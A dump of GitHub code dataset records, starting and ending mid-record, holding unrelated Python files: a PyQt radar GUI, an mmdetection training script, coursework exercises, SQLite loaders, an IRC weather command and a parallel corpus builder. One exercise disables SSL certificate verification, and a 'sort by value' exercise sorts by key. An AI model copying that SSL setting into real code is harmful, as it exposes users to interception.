","repo_name":"YabTek/leetcode","sub_path":"0863-all-nodes-distance-k-in-binary-tree/0863-all-nodes-distance-k-in-binary-tree.py","file_name":"0863-all-nodes-distance-k-in-binary-tree.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43523117620","text":"from PyQt5 import QtWidgets\n\nimport radarSignalAnalyzer.gui.common_gui as common_gui\n\n\n\nclass PropertiesGUI(QtWidgets.QGroupBox, common_gui.CommonGUI):\n\n def __init__(self, parent=None):\n super(PropertiesGUI, self).__init__()\n \n self.__freq_to_tg_label = None\n self.__dist_to_tg_label = None\n self.__delta_dist_to_tg_label = None\n self.__rx_gain_label = None\n self.__rx_phase_label = None\n self.__gain_to_tg_label = None\n self.__phase_to_tg_label = None\n\n self.__freq_to_tg_label_text = 'Frequency to target [Hz]:'\n self.__dist_to_tg_label_text = 'Distance to target [m]:'\n self.__delta_dist_to_tg_label_text = 'Delta Dist to target [m]:'\n self.__rx_gain_label_text = \"Target's Gain [dB]: \"\n self.__rx_phase_label_text = \"Target's Phase [deg]: \"\n self.__gain_to_tg_label_text = \"Medium's Gain [dB]: \"\n self.__phase_to_tg_label_text = \"Medium's Phase [deg]: \"\n \n self.__init_ui()\n\n def __init_ui(self):\n zero_text = '0'\n self.__freq_to_tg_label = QtWidgets.QLabel(self.__freq_to_tg_label_text + zero_text)\n self.__dist_to_tg_label = QtWidgets.QLabel(self.__dist_to_tg_label_text + zero_text)\n self.__delta_dist_to_tg_label = QtWidgets.QLabel(self.__delta_dist_to_tg_label_text + zero_text)\n self.__rx_gain_label = QtWidgets.QLabel(self.__rx_gain_label_text + zero_text)\n self.__rx_phase_label = QtWidgets.QLabel(self.__rx_phase_label_text + zero_text)\n self.__gain_to_tg_label = QtWidgets.QLabel(self.__gain_to_tg_label_text + zero_text)\n self.__phase_to_tg_label = QtWidgets.QLabel(self.__phase_to_tg_label_text + zero_text)\n\n title_layout = QtWidgets.QHBoxLayout()\n title_layout.addWidget(QtWidgets.QLabel(\"Medium Properties\"))\n title_layout.addWidget(common_gui.VLine())\n title_layout.addWidget(QtWidgets.QLabel(\"Target Properties\"))\n title_layout.addWidget(common_gui.VLine())\n title_layout.addWidget(QtWidgets.QLabel(\"Receiving Properties\"))\n\n medium_layout = QtWidgets.QVBoxLayout()\n medium_layout.addWidget(self.__freq_to_tg_label)\n medium_layout.addWidget(self.__dist_to_tg_label)\n medium_layout.addWidget(self.__delta_dist_to_tg_label)\n\n target_layout = QtWidgets.QVBoxLayout()\n target_layout.addWidget(self.__rx_gain_label)\n target_layout.addWidget(self.__rx_phase_label)\n\n receive_layout = QtWidgets.QVBoxLayout()\n receive_layout.addWidget(self.__gain_to_tg_label)\n receive_layout.addWidget(self.__phase_to_tg_label)\n\n label_layout = QtWidgets.QHBoxLayout()\n label_layout.addLayout(medium_layout)\n label_layout.addWidget(common_gui.VLine())\n label_layout.addLayout(target_layout)\n label_layout.addWidget(common_gui.VLine())\n label_layout.addLayout(receive_layout)\n\n main_layout = QtWidgets.QVBoxLayout()\n main_layout.addLayout(title_layout)\n main_layout.addWidget(common_gui.HLine())\n main_layout.addLayout(label_layout)\n\n self.setTitle(\"Measurements\")\n self.setStyleSheet(\"QGroupBox {border: 2px solid gray; border-radius: 9px; margin-top: 0.5em} QGroupBox:title {subcontrol-origin: margin; subcontrol-position: top center; padding-left: 10px; padding-right: 10px}\")\n self.setLayout(main_layout)\n\n def update_measurements(self, freq_to_tg, calc_dist_to_tg, d_dist, gain, phase, gain_to_tg, phase_to_tg):\n self.__freq_to_tg_label.setText(self.__freq_to_tg_label_text + str(freq_to_tg))\n self.__dist_to_tg_label.setText(self.__dist_to_tg_label_text + \"{} \\u00B1 {}\".format(*calc_dist_to_tg))\n self.__delta_dist_to_tg_label.setText(self.__delta_dist_to_tg_label_text + str(d_dist))\n self.__rx_gain_label.setText(self.__rx_gain_label_text + \"{} \\u00B1 {}\".format(*gain))\n self.__rx_phase_label.setText(self.__rx_phase_label_text + \"{} \\u00B1 {}\".format(*phase))\n self.__gain_to_tg_label.setText(self.__gain_to_tg_label_text + str(gain_to_tg))\n self.__phase_to_tg_label.setText(self.__phase_to_tg_label_text + str(phase_to_tg))\n","repo_name":"franciscoSoler/radarSignalAnalyzer","sub_path":"radarSignalAnalyzer/gui/properties_gui.py","file_name":"properties_gui.py","file_ext":"py","file_size_in_byte":4177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40560634143","text":"import argparse\nimport copy\nimport mmcv\nimport numpy as np\nimport os\nimport os.path as osp\nimport pycocotools.mask as maskUtils\nimport time\nimport torch.distributed as dist\nimport torch.multiprocessing as mp\nfrom mmcv import Config\nfrom mmcv.parallel import collate, scatter\nimport warnings\n\nimport mmcv\nimport torch\nfrom mmcv import Config, DictAction\nfrom mmcv.runner import get_dist_info, init_dist\nfrom mmcv.utils import get_git_hash\n\nfrom mmdet import __version__\nfrom mmdet.apis import set_random_seed, train_detector\nfrom mmdet.apis.inference import LoadImage\nfrom mmdet.core import BitmapMasks\nfrom mmdet.datasets import build_dataset\nfrom mmdet.datasets.pipelines import Compose\nfrom mmdet.integration.nncf import check_nncf_is_enabled, get_nncf_metadata\nfrom mmdet.models import TwoStageDetector, build_detector\nfrom mmdet.utils import ExtendedDictAction, collect_env, get_root_logger\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Train a detector')\n parser.add_argument('config', help='train config file path')\n parser.add_argument('--work-dir', help='the dir to save logs and models')\n parser.add_argument('--tensorboard-dir', help='the dir to save tensorboard logs')\n parser.add_argument(\n '--resume-from', help='the checkpoint file to resume from')\n parser.add_argument(\n '--no-validate',\n action='store_true',\n help='whether not to evaluate the checkpoint during training')\n group_gpus = parser.add_mutually_exclusive_group()\n group_gpus.add_argument(\n '--gpus',\n type=int,\n help='number of gpus to use '\n '(only applicable to non-distributed training)')\n group_gpus.add_argument(\n '--gpu-ids',\n type=int,\n nargs='+',\n help='ids of gpus to use '\n '(only applicable to non-distributed training)')\n parser.add_argument('--seed', type=int, default=None, help='random seed')\n parser.add_argument(\n '--deterministic',\n action='store_true',\n help='whether to set deterministic options for CUDNN backend.')\n parser.add_argument(\n '--update_config', nargs='+', action=ExtendedDictAction, help='arguments in dict')\n parser.add_argument(\n '--options',\n nargs='+',\n action=DictAction,\n help='override some settings in the used config, the key-value pair '\n 'in xxx=yyy format will be merged into config file (deprecate), '\n 'change to --cfg-options instead.')\n parser.add_argument(\n '--cfg-options',\n nargs='+',\n action=DictAction,\n help='override some settings in the used config, the key-value pair '\n 'in xxx=yyy format will be merged into config file. If the value to '\n 'be overwritten is a list, it should be like key=\"[a,b]\" or key=a,b '\n 'It also allows nested list/tuple values, e.g. key=\"[(a,b),(c,d)]\" '\n 'Note that the quotation marks are necessary and that no white space '\n 'is allowed.')\n parser.add_argument(\n '--launcher',\n choices=['none', 'pytorch', 'slurm', 'mpi'],\n default='none',\n help='job launcher')\n parser.add_argument('--local_rank', type=int, default=0)\n args = parser.parse_args()\n if 'LOCAL_RANK' not in os.environ:\n os.environ['LOCAL_RANK'] = str(args.local_rank)\n\n if args.options and args.cfg_options:\n raise ValueError(\n '--options and --cfg-options cannot be both '\n 'specified, --options is deprecated in favor of --cfg-options')\n if args.options:\n warnings.warn('--options is deprecated in favor of --cfg-options')\n args.cfg_options = args.options\n\n return args\n\n\ndef determine_max_batch_size(cfg, distributed, dataset_len_per_gpu):\n def get_fake_input(cfg, orig_img_shape=(128, 128, 3), device='cuda'):\n test_pipeline = [LoadImage()] + cfg.data.test.pipeline[1:]\n test_pipeline = Compose(test_pipeline)\n data = dict(img=np.zeros(orig_img_shape, dtype=np.uint8))\n data = test_pipeline(data)\n data = scatter(collate([data], samples_per_gpu=1), [device])[0]\n return data\n\n model = build_detector(\n cfg.model, train_cfg=cfg.train_cfg, test_cfg=cfg.test_cfg).cuda()\n\n if 'pipeline' in cfg.data.train:\n img_shape = [t for t in cfg.data.train.pipeline if t['type'] == 'Resize'][0]['img_scale']\n else:\n img_shape = [t for t in cfg.data.train.dataset.pipeline if t['type'] == 'Resize'][0][\n 'img_scale']\n\n channels = 3\n\n fake_input = get_fake_input(cfg, orig_img_shape=list(img_shape) + [channels])\n img_shape = fake_input['img_metas'][0][0]['pad_shape']\n\n width, height = img_shape[0], img_shape[1]\n\n percentage = 0.9\n\n min_bs = 2\n max_bs = min(512, int(dataset_len_per_gpu / percentage) + 1)\n step = 1\n\n batch_size = min_bs\n for bs in range(min_bs, max_bs, step):\n try:\n gt_boxes = [torch.tensor([[0., 0., width, height]]).cuda() for _ in range(bs)]\n gt_labels = [torch.tensor([0], dtype=torch.long).cuda() for _ in range(bs)]\n img_metas = [fake_input['img_metas'][0][0] for _ in range(bs)]\n\n gt_masks = None\n\n if isinstance(model, TwoStageDetector) and model.roi_head.with_mask:\n rles = maskUtils.frPyObjects(\n [[0.0, 0.0, width, 0.0, width, height, 0.0, height]], height, width)\n rle = maskUtils.merge(rles)\n mask = maskUtils.decode(rle)\n gt_masks = [BitmapMasks([mask], height, width) for _ in range(bs)]\n\n if gt_masks is None:\n model(torch.rand(bs, channels, height, width).cuda(), img_metas=img_metas,\n gt_bboxes=gt_boxes, gt_labels=gt_labels)\n else:\n model(torch.rand(bs, channels, height, width).cuda(), img_metas=img_metas,\n gt_bboxes=gt_boxes, gt_labels=gt_labels, gt_masks=gt_masks)\n\n batch_size = bs\n except RuntimeError as e:\n if str(e).startswith('CUDA out of memory'):\n break\n\n resulting_batch_size = int(batch_size * percentage)\n\n del model\n torch.cuda.empty_cache()\n\n if distributed:\n rank, world_size = get_dist_info()\n\n resulting_batch_size = torch.tensor(resulting_batch_size).cuda()\n dist.all_reduce(resulting_batch_size, torch.distributed.ReduceOp.MIN)\n print('rank', rank, 'resulting_batch_size', resulting_batch_size)\n\n resulting_batch_size = int(resulting_batch_size.cpu())\n else:\n print('resulting_batch_size', resulting_batch_size)\n\n return resulting_batch_size\n\n\ndef init_dist_cpu(launcher, backend, **kwargs):\n if mp.get_start_method(allow_none=True) is None:\n mp.set_start_method('spawn')\n if launcher == 'pytorch':\n dist.init_process_group(backend=backend, **kwargs)\n else:\n raise ValueError(f'Invalid launcher type: {launcher}')\n\n\ndef main():\n args = parse_args()\n\n cfg = Config.fromfile(args.config)\n cfg_samples_per_gpu = cfg.data.samples_per_gpu\n if args.update_config is not None:\n cfg.merge_from_dict(args.update_config)\n if args.cfg_options is not None:\n cfg.merge_from_dict(args.cfg_options)\n if cfg.get('custom_imports', None):\n from mmcv.utils import import_modules_from_strings\n import_modules_from_strings(**cfg['custom_imports'])\n # set cudnn_benchmark\n if cfg.get('cudnn_benchmark', False):\n torch.backends.cudnn.benchmark = True\n\n # work_dir is determined in this priority: CLI > segment in file > filename\n if args.work_dir is not None:\n # update configs according to CLI args if args.work_dir is not None\n cfg.work_dir = args.work_dir\n elif cfg.get('work_dir', None) is None:\n # use config filename as default work_dir if cfg.work_dir is None\n cfg.work_dir = osp.join('./work_dirs',\n osp.splitext(osp.basename(args.config))[0])\n if args.resume_from is not None:\n cfg.resume_from = args.resume_from\n if args.gpu_ids is not None:\n cfg.gpu_ids = args.gpu_ids\n else:\n cfg.gpu_ids = range(1) if args.gpus is None else range(args.gpus)\n\n # init distributed env first, since logger depends on the dist info.\n if args.launcher == 'none':\n distributed = False\n else:\n distributed = True\n if torch.cuda.is_available():\n init_dist(args.launcher, **cfg.dist_params)\n else:\n cfg.dist_params['backend'] = 'gloo'\n init_dist_cpu(args.launcher, **cfg.dist_params)\n # re-set gpu_ids with distributed training mode\n _, world_size = get_dist_info()\n cfg.gpu_ids = range(world_size)\n\n # create work_dir\n mmcv.mkdir_or_exist(osp.abspath(cfg.work_dir))\n # dump config\n cfg.dump(osp.join(cfg.work_dir, osp.basename(args.config)))\n # init the logger before other steps\n timestamp = time.strftime('%Y%m%d_%H%M%S', time.localtime())\n log_file = osp.join(cfg.work_dir, f'{timestamp}.log')\n logger = get_root_logger(log_file=log_file, log_level=cfg.log_level)\n\n if args.tensorboard_dir is not None:\n hooks = [hook for hook in cfg.log_config.hooks if hook.type == 'TensorboardLoggerHook']\n if hooks:\n hooks[0].log_dir = args.tensorboard_dir\n else:\n logger.warning('Failed to find TensorboardLoggerHook')\n\n # init the meta dict to record some important information such as\n # environment info and seed, which will be logged\n meta = dict()\n # log env info\n env_info_dict = collect_env()\n env_info = '\\n'.join([(f'{k}: {v}') for k, v in env_info_dict.items()])\n dash_line = '-' * 60 + '\\n'\n logger.info('Environment info:\\n' + dash_line + env_info + '\\n' +\n dash_line)\n meta['env_info'] = env_info\n meta['config'] = cfg.pretty_text\n # log some basic info\n logger.info(f'Distributed training: {distributed}')\n logger.info(f'Config:\\n{cfg.pretty_text}')\n\n if cfg.get('nncf_config'):\n check_nncf_is_enabled()\n logger.info('NNCF config: {}'.format(cfg.nncf_config))\n meta.update(get_nncf_metadata())\n\n # set random seeds\n if args.seed is not None:\n logger.info(f'Set random seed to {args.seed}, '\n f'deterministic: {args.deterministic}')\n set_random_seed(args.seed, deterministic=args.deterministic)\n cfg.seed = args.seed\n meta['seed'] = args.seed\n meta['exp_name'] = osp.basename(args.config)\n\n model = build_detector(\n cfg.model,\n train_cfg=cfg.get('train_cfg'),\n test_cfg=cfg.get('test_cfg'))\n\n datasets = [build_dataset(cfg.data.train)]\n\n dataset_len_per_gpu = sum(len(dataset) for dataset in datasets)\n if distributed:\n dataset_len_per_gpu = dataset_len_per_gpu // get_dist_info()[1]\n assert dataset_len_per_gpu > 0\n if cfg.data.samples_per_gpu == 'auto':\n if torch.cuda.is_available():\n logger.info('Auto-selection of samples per gpu (batch size).')\n cfg.data.samples_per_gpu = determine_max_batch_size(cfg, distributed, dataset_len_per_gpu)\n logger.info(f'Auto selected batch size: {cfg.data.samples_per_gpu} {dataset_len_per_gpu}')\n cfg.dump(osp.join(cfg.work_dir, osp.basename(args.config)))\n else:\n logger.warning('Auto-selection of batch size is not implemented for CPU.')\n logger.warning('Setting batch size to value taken from configuration file.')\n cfg.data.samples_per_gpu = cfg_samples_per_gpu\n if dataset_len_per_gpu < cfg.data.samples_per_gpu:\n cfg.data.samples_per_gpu = dataset_len_per_gpu\n logger.warning(f'Decreased samples_per_gpu to: {cfg.data.samples_per_gpu} '\n f'because of dataset length: {dataset_len_per_gpu} '\n f'and gpus number: {get_dist_info()[1]}')\n\n if len(cfg.workflow) == 2:\n val_dataset = copy.deepcopy(cfg.data.val)\n val_dataset.pipeline = cfg.data.train.pipeline\n datasets.append(build_dataset(val_dataset))\n if cfg.checkpoint_config is not None:\n # save mmdet version, config file content and class names in\n # checkpoints as meta data\n cfg.checkpoint_config.meta = dict(\n mmdet_version=__version__ + get_git_hash()[:7],\n CLASSES=datasets[0].CLASSES)\n # also save nncf status in the checkpoint -- it is important,\n # since it is used in wrap_nncf_model for loading NNCF-compressed models\n if cfg.get('nncf_config'):\n nncf_metadata = get_nncf_metadata()\n cfg.checkpoint_config.meta.update(nncf_metadata)\n else:\n # cfg.checkpoint_config is None\n assert not cfg.get('nncf_config'), (\n \"NNCF is enabled, but checkpoint_config is not set -- \"\n \"cannot store NNCF metainfo into checkpoints\")\n\n # add an attribute for visualization convenience\n model.CLASSES = datasets[0].CLASSES\n\n train_detector(\n model,\n datasets,\n cfg,\n distributed=distributed,\n validate=(not args.no_validate),\n timestamp=timestamp,\n meta=meta)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"aiarkinx/mmdetection","sub_path":"tools/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":13280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"35008734929","text":"import urllib.request, urllib.parse, urllib.error\nimport xml.etree.ElementTree as ET\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nlocation = input(\"Enter location: \")\nprint('Retrieving',location)\n\nxml = urllib.request.urlopen(location).read()\nprint('Retrieved', len(xml), 'characters')\n\n\ntree = ET.fromstring(xml)\n#print(stuff)\nlst = tree.findall('comments/comment')\n\n# print(lst)\nprint('Count:',len(lst))\nSum=0\nfor nodes in lst:\n num = nodes.find('count').text\n Sum=Sum+int(num)\n\nprint('Sum:',Sum)\n","repo_name":"rohanyuttham/Python-for-everybody-Coursera-Specialization","sub_path":"PythonForEverybody_Specialization/Using Python to Access Web Data/ExtractindDataFromXML.py","file_name":"ExtractindDataFromXML.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37687385957","text":"\"\"\"\nWrite a Python script to sort (ascending and descending) a dictionary by value.\n\"\"\"\n\ny={'carl':40,'alan':2,'bob':1,'danny':3} \n \nl=list(y.items()) \nl.sort() \nprint('Ascending order is',l) \n\nl=list(y.items())\nl.sort(reverse=True)\nprint('Descending order is',l)\n","repo_name":"zeeking786/BSCIT_PYTHON_PRACTICAL","sub_path":"PRACTICAL-5/Pract_1.py","file_name":"Pract_1.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32997373654","text":"import sqlite3\nfrom math import ceil\nfrom google import Sheet\nfrom config import Config\nfrom API.ms import MoySkladAPI\n\n\ndef get_extra_data(code):\n conn = sqlite3.connect('products.db')\n c = conn.cursor()\n c.execute('SELECT price FROM extras WHERE code = ?', (code,))\n extra_data = c.fetchone()\n conn.close()\n return extra_data[0] if extra_data and isinstance(extra_data[0], (int, float)) else 0\n\n\ndef load_data_from_MS(api, store_id, warehouse):\n conn = sqlite3.connect('products.db')\n c = conn.cursor()\n c.execute(f'UPDATE stocks SET {warehouse} = 0')\n conn.commit()\n conn.close()\n print(f\"[DB] Warehouse {warehouse} stock set to 0\")\n\n data = api.get_stocks(store_id, 1, 0)\n size = int(data['meta']['size'])\n k1, k2, add = Sheet().check_table('ИП')\n print(f\"[MS] Loaded google: {k1} - {k2} - {add} // size: {size}\")\n\n def process_row(row):\n code = str(row['code'])\n quantity = max(0, int(round((row['quantity']), 2)))\n row_price = ceil(round((row['price']) / 100, 2))\n\n market = 0\n if row_price != 0:\n k = k1 if row_price > 5000 else k2\n market = ceil(add + (row_price * k) + get_extra_data(code))\n print(f\"[MS] Process row - code: {code} quantity: {quantity} market: {market}\")\n return code, quantity, market\n\n conn = sqlite3.connect('products.db')\n c = conn.cursor()\n\n for k in range(size // 1000 + 1):\n data = api.get_stocks(store_id, 1000, k * 1000)\n rows_data = data['rows']\n rows = [process_row(row) for row in rows_data]\n for code, quantity, market in rows:\n c.execute(\n f'INSERT INTO prices (code, {warehouse}) VALUES (?, ?) ON CONFLICT (code) DO UPDATE SET {warehouse} = ?',\n (code, market, market))\n c.execute(\n f'INSERT INTO stocks (code, {warehouse}) VALUES (?, ?) ON CONFLICT (code) DO UPDATE SET {warehouse} = ?',\n (code, quantity, quantity))\n\n print(f\"[DB] Warehouse {warehouse} rows processed: {len(rows)}\")\n\n conn.commit()\n conn.close()\n print(f\"[DB] Warehouse {warehouse} done\")\n\n\nif __name__ == '__main__':\n load_data_from_MS(MoySkladAPI(api_key=Config.MS_API_KEY), Config.MS_STORE_1_ID, 'ip')\n load_data_from_MS(MoySkladAPI(api_key=Config.MS_API_KEY), Config.MS_STORE_2_ID, 'np')","repo_name":"anpateu/Updating-Marketplaces","sub_path":"load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"7950611349","text":"r = ''\ncont = soma = ma = me = 0\nwhile r in 'Ss':\n n = int(input('Digite um numero: '))\n r = str(input('Quer continuar [S/N]? ')).upper().strip()[0]\n cont += 1\n soma += n\n if cont == 1:\n ma = me = n\n else:\n if n > ma:\n ma = n\n elif n < me:\n me = n\nprint(f'Voce digitou {cont} numeros e a media foi {soma/cont}')\nprint(f'O maior valor foi {ma} e o menor foi {me}')\n","repo_name":"Pedrohclelis/curso-em-video-python","sub_path":"Mundo 2 - Estruturas de Controle/#065 - Maior e Menor valores.py","file_name":"#065 - Maior e Menor valores.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9669497278","text":"import urllib\nimport BeautifulSoup\nimport commands\n\nclass fuckingweather(commands.Command):\n \"\"\"gets weather from thefuckingweather.com\"\"\"\n\n def execute(self, message, sender, connection):\n args = message.split(\" \")\n if args[0] == \"!thefuckingweather\":\n if len(args) == 1:\n return self.getfuckingweather()\n if len(args) == 2:\n return self.getfuckingweather(args[1])\n if len(args) == 3:\n if args[2] == 'C' or args[2] == 'F':\n return self.getfuckingweather(args[1], args[2])\n else:\n return None\n \n def getfuckingweather(self, location=\"montreal\", celcius=\"C\"):\n if celcius == \"F\":\n text = \"\"\n else:\n text = '&CELSIUS=yes'\n data = urllib.urlopen('http://thefuckingweather.com/?zipcode=%s%s' % (location, text))\n soup = BeautifulSoup.BeautifulSoup(data.read())\n data.close()\n result = soup.find('div', 'large')\n if result is not None:\n return result.contents[0].replace(\"°\", \" \") + \" \" + result.contents[4]\n else:\n return \"Oww.. my poor kitty brain\"\n\ncommands.registered.append(fuckingweather())\n","repo_name":"tahnok/kittybot2","sub_path":"commands/fuckingweather.py","file_name":"fuckingweather.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"22452807535","text":"#\n\ndef findUniqueNumbersOccurrences(numbers):\n uniqueNumbersOccurrences = {}\n for number in numbers:\n if not number in uniqueNumbersOccurrences:\n uniqueNumbersOccurrences[number] = 1\n else:\n uniqueNumbersOccurrences[number] += 1\n\n return uniqueNumbersOccurrences\n\n\nnumbers = [52, 8, 65, 0, 1, 4, -43, 3, 5, 7, 0, 65, -32, 1, 65, 0, -8, 987, 68, 0, 25]\nuniqueNumbersOccurrences = findUniqueNumbersOccurrences(numbers)\nprint(\"More than one number occurrence:\")\nfor key, value in uniqueNumbersOccurrences.items():\n if value > 1:\n print(\"\\nNumber of occurrences: \" + str(value) + \" of number \" + str(key))\n","repo_name":"jareklaskowski7/variousPythonPrograms","sub_path":"UniqueNumbersOccurrences.py","file_name":"UniqueNumbersOccurrences.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1094559933","text":"import logging\nimport sqlite3\nfrom pathlib import Path\nfrom typing import List, Optional, Union\n\nimport pandas as pd\n\nimport sqlite_utils\nimport sql_statements\n\n\nPATH_TO_COLLECTION = Path(\n r\"C:\\Users\\r2d4\\OneDrive\\_raph\\sounds\\Collection\\collection_albums.xlsx\"\n)\nPATH_TO_DB = Path()\n\n\ndef load_albums_from_xlsx(\n filepath: Union[Path, str], genres: Optional[List] = None\n) -> pd.DataFrame:\n \"\"\"Load the original album collection file into a dataframe.\n You can specify a list of genres you want to include\n (defaults to None).\n \"\"\"\n df = pd.read_excel(filepath, engine=\"openpyxl\")\n if genres:\n df = df[df[\"Genre\"].isin(genres)]\n print(df.columns)\n return df\n\n\ndef load_albums_into_database(\n conn: sqlite3.Connection, df: pd.DataFrame, table_name: str,\n):\n \"\"\"Load a dataframe into the DB. Pass the table name\n and connection. If the table already exists the contents\n will be overwritten.\n \"\"\"\n df.to_sql(table_name, if_exists=\"replace\", con=conn)\n logging.info(\n \"Table with shape {df.shape} successfully loaded into tabe {table_name}!\"\n )\n\n\ndef main(path=PATH_TO_COLLECTION):\n conn, _ = sqlite_utils.connect()\n sqlite_utils.execute_query(conn, sql_statements.create_albums)\n df = load_albums_from_xlsx(path)\n load_albums_into_database(conn, df, \"albums\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rbuerki/death-metal-disco","sub_path":"z_db_sqlite/initial_db_setup_and_data_ingestion.py","file_name":"initial_db_setup_and_data_ingestion.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32105727277","text":"# Challenge 2:\r\n# Compare the scores of Bob and Alice. The input is the scores of Alice and Bob. \r\n# If score of Alice is higher than score of Bob, Alice gets 1 point and vice versa. If score of Alice is equal Bob's one then neither person receives a point. \r\n# Input \"a0\" \"a1\" \"a2\" are the scores of Alice and \"b0\" \"b1\" \"b2\" are the scores of Bob\r\n# The output is the points of Alice and Bob. \r\n\r\n\r\ndef solve(a0, a1, a2, b0, b1, b2):\r\n \r\n\t\talice = 0\r\n\t\tbob = 0\r\n\t\ta=[a0,a1,a2]\r\n\t\tb=[b0,b1,b2]\r\n\t\tfor i in range(len(a)):\r\n\t\t\tif a[i] >b[i]:\r\n\t\t\t\talice+=1\r\n\t\t\telif a[i] str:\n emoji = get_emoji(\"correct\") if allowed else get_emoji(\"incorrect\")\n return f\"`{emoji}\\u00a0{ele['format']}\\u00a0`\"\n\ndef format_accessibilities(room: Room) -> Tuple[List[str], List[str]]:\n \"\"\"\n Formats the playable and unplayable modes in a room\n This, is, pain.\n \"\"\"\n \n supported = []\n supported.insert(0 if room.supports_screens else len(supported), format_ele(ACCESSIBILITY[0], room.supports_screens))\n supported.insert(0 if room.supports_walk_vr else len(supported), format_ele(ACCESSIBILITY[1], room.supports_walk_vr))\n supported.insert(0 if room.supports_teleport_vr else len(supported), format_ele(ACCESSIBILITY[2], room.supports_teleport_vr))\n supported.insert(0 if room.supports_vr_low else len(supported), format_ele(ACCESSIBILITY[3], room.supports_vr_low))\n supported.insert(0 if room.supports_quest_two else len(supported), format_ele(ACCESSIBILITY[4], room.supports_quest_two))\n supported.insert(0 if room.supports_mobile else len(supported), format_ele(ACCESSIBILITY[5], room.supports_mobile))\n supported.insert(0 if room.supports_juniors else len(supported), format_ele(ACCESSIBILITY[6], room.supports_juniors))\n \n return supported\n","repo_name":"RecNetBot-Development/RecNetBot","sub_path":"utils/formatters/format_accessibilities.py","file_name":"format_accessibilities.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9239140175","text":"###\n# Implementasi Pembentukan Parallel Corpus Dasar\n###\n\nimport sqlite3\nimport os, sys, traceback\nimport unicodedata\n\nINPUT_DB_PATH = 'db_kamus.db'\nOUTPUT_DB_PATH = 'db_parallel_corpus_base.db'\nOUTPUT_SCHEMA_PATH = 'schema_parallel_corpus.sql'\nPREFIX_PUNCTUATIONS = \"{[(“\"\nSUFFIX_PUNCTUATIONS = \"}])”.,;:?!\"\n\ndef generate_indexed_contoh(contoh_list):\n \"\"\" Teknis: Mengelompokkan contoh dari database menjadi urut per index \"\"\"\n\n contoh_list_indexed = [None] * (len(contoh_list) // 2)\n for contoh in contoh_list:\n i = contoh['index'] - 1\n if i < 0 or i >= len(contoh_list_indexed):\n continue\n lang_i = {'MAD': 0, 'IND': 1}[contoh['bahasa']]\n if contoh_list_indexed[i] == None:\n contoh_list_indexed[i] = [None, None]\n contoh_list_indexed[i][lang_i] = contoh\n\n return contoh_list_indexed\n\ndef distribute_parallel(teks_list):\n \"\"\" Algoritma: Proses teks secara paralel \"\"\"\n # Input: Ambil semua teks dalam satu contoh\n teks_mad_list, teks_ind_list = teks_list\n text_list_indexed = []\n # Teks Indonesia tidak kosong?\n if len(teks_ind_list) == 0:\n return []\n primary_teks_ind = None\n # Ambil satu pasang teks Indonesia paling awal (indeks 0)\n for teks_ind in teks_ind_list:\n if teks_ind['text'] != \"\":\n primary_teks_ind = teks_ind\n break\n # Teknis: Cek ganda teks Indonesia tidak kosong\n if primary_teks_ind == None:\n return []\n # Ambil semua pasang teks Madura\n for teks_mad in teks_mad_list:\n t = teks_mad['text']\n # Subproses: Deteksi Imbuhan (h)\n # Teks berakhir dengan (h)?\n if t.endswith('(h)'):\n # Pisah menjadi dua versi teks, satu tanpa \"h\", satu dengan \"h\".\n t = t[:-3]\n # Teknis: Tambahkan ke daftar pasang teks (versi dengan \"h\")\n text_list_indexed.append((t + 'h', primary_teks_ind['text']))\n if t:\n # Tambahkan ke daftar pasang teks\n text_list_indexed.append((t, primary_teks_ind['text']))\n return text_list_indexed\n\ndef distribute_sequential(teks_list):\n \"\"\" Algoritma: Proses teks secara berurutan \"\"\"\n # Input: Ambil semua teks dalam satu contoh\n teks_mad_list, teks_ind_list = teks_list\n text_list_indexed = []\n # Ambil satu pasang teks (Madura dan Indonesia) urut dari indeks\n for i in range(min(len(teks_mad_list), len(teks_ind_list))):\n if (teks_mad_list[i]['text'] and teks_ind_list[i]['text']):\n # Tambahkan ke daftar pasang teks\n text_list_indexed.append((teks_mad_list[i]['text'], teks_ind_list[i]['text']))\n return text_list_indexed\n\ndef distribute_proverbs(teks_list):\n \"\"\" Algoritma: Proses teks secara peribahasa \"\"\"\n # Input: Ambil semua teks dalam satu contoh\n teks_mad_list, teks_ind_list = teks_list\n teks_ind_list_join = ', '.join(map(lambda x: x['text'], teks_ind_list)).strip()\n # Teks Madura ada versi alternative?\n if len(teks_ind_list) == 0 or len(teks_mad_list) == 0 or \\\n not teks_mad_list[-1]['alternative'] or not teks_ind_list_join:\n return []\n # Ambil satu pasang teks (Madura dan Indonesia), yang Madura ambil teks versi \"alternative\"\n # Tambahkan ke daftar pasang teks\n return [(teks_mad_list[-1]['alternative'], teks_ind_list_join)]\n\ndef normalize_text(text: str):\n # Normalisasi Unicode 